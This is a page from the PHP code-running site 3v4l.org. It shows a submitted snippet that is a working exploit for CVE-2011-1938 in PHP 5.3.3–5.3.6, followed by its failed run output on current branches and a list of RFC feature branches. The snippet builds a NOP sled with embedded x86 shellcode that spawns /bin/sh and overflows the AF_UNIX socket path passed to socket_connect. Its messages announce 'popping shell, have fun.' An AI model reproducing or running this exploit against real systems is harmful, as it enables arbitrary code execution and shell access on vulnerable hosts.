3v4l.org

run code in 300+ PHP versions simultaneously

@ 2014-03-19T00:47:11Z

<?php
// Credit: Mateusz Kocielski, Marek Kroemeke and Filip Palian 
// Affected Versions: 5.3.3-5.3.6 
 
echo "[+] CVE-2011-1938";
echo "[+] there we go...\n";
define('EVIL_SPACE_ADDR', "\xff\xff\xee\xb3");
define('EVIL_SPACE_SIZE', 1024*1024*8);
$SHELLCODE = 
        "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0".
        "\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1".
        "\xcd\x80";
echo "[+] creating the sled.\n";
 
$CODE = str_repeat("\x90", EVIL_SPACE_SIZE);
for ($i = 0, $j = EVIL_SPACE_SIZE - strlen($SHELLCODE) - 1 ;
        $i < strlen($SHELLCODE) ; $i++, $j++) {
$CODE[$j] = $SHELLCODE[$i];
}
 
$b = str_repeat("A", 196).EVIL_SPACE_ADDR;
$var79 = socket_create(AF_UNIX, SOCK_STREAM, 1);
echo "[+] popping shell, have fun (if you picked the right address...)\n";
$var85 = socket_connect($var79,$b);
?>

Output for git.master, git.master_jit, rfc.property-hooks: [+] CVE-2011-1938[+] there we go... [+] creating the sled. Fatal error: Uncaught Error: Call to undefined function socket_create() in /in/Aim44:22 Stack trace: #0 {main} thrown in /in/Aim44 on line 22
Process exited with code 255.

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page

2020-03-21 RFC: Is_Literal - declined
2020-12-04 Enumerations - included in PHP 8.1
2018-06-15 Typed Properties v2 - implemented in PHP 7.4
2016-08-12 Object typehint - included in PHP 7.2
2016-08-14 Arrow functions - withdrawn
2016-05-29 array_change_keys() - withdrawn
2016-04-19 Lexical scope support for anonymous classes - suspended
2016-04-17 Functional Interfaces - declined
2016-03-16 Typed Properties - superseded in favor of Typed Properties 2.0
2015-08-27 Callable Prototypes - declined
2015-05-01 Short Closures - declined / withdrawn in favor of Arrow Functions
2015-02-18 Scalar type hints v5 - included in PHP 7
2015-02-14 Union Types - declined
2013-09-22 Anonymous classes - included in PHP 7

preferences:dark modelive preview

35.15 ms | 401 KiB | 8 Q